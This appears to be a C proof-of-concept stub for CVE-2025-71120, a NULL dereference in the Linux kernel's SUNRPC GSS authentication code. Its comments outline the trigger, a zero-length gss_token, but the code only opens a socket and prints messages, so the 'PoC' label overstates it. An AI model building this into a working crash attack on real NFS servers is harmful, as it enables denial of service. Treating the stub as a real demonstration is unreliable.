Linux内核SUNRPC svcauth_gss空指针解引用漏洞 (CVE-2025-71120)

/* * CVE-2025-71120 PoC - Linux kernel SUNRPC svcauth_gss NULL dereference * This PoC demonstrates the vulnerability in gss_read_proxy_verf function * when handling zero-length gss_token. * * Note: This is a kernel vulnerability requiring specific kernel configuration * with SUNRPC and GSSAPI support enabled. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> /* RPC message structure for SUNRPC */ struct rpc_msg { unsigned int rm_xid; unsigned int rm_direction; unsigned int rm_call; unsigned int rm_rpcvers; unsigned int rm_prog; unsigned int rm_vers; unsigned int rm_proc; }; /* GSS authentication token with zero length */ struct gss_token { unsigned int length; /* Set to 0 to trigger vulnerability */ char *data; }; void trigger_null_deref() { printf("[*] CVE-2025-71120 - Triggering NULL pointer dereference\n"); printf("[*] Target: Linux kernel SUNRPC svcauth_gss\n"); printf("[*] Function: gss_read_proxy_verf\n"); printf("[*] Sending RPC request with zero-length gss_token...\n"); /* * In a real exploit scenario, this would involve: * 1. Establishing RPC connection to portmap/nfs service * 2. Sending AUTH_GSS authentication request * 3. Crafting gss_token with length=0 * 4. Triggering gss_read_proxy_verf() to process the token * * This causes in_token->pages[0] to be NULL and * page_address(NULL) dereference in memcpy operation. */ int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("[-] Failed to create socket"); return; } /* * Real exploitation requires: * - Kernel with SUNRPC CONFIG_SUNRPC enabled * - GSSAPI support (CONFIG_SUNRPC_GSS) * - NFS or other RPC service using GSS authentication * - Sending crafted RPC/AUTH_GSS messages */ printf("[!] This PoC requires kernel debugging environment\n"); printf("[!] For testing, compile as kernel module with KPROBES\n"); printf("[!] Or use kernel fuzzer targeting rpc_auth_gss\n"); close(sock); } int main(int argc, char *argv[]) { printf("===========================================\n"); printf("CVE-2025-71120 PoC\n"); printf("Linux kernel SUNRPC svcauth_gss NULL deref\n"); printf("===========================================\n\n"); trigger_null_deref(); return 0; }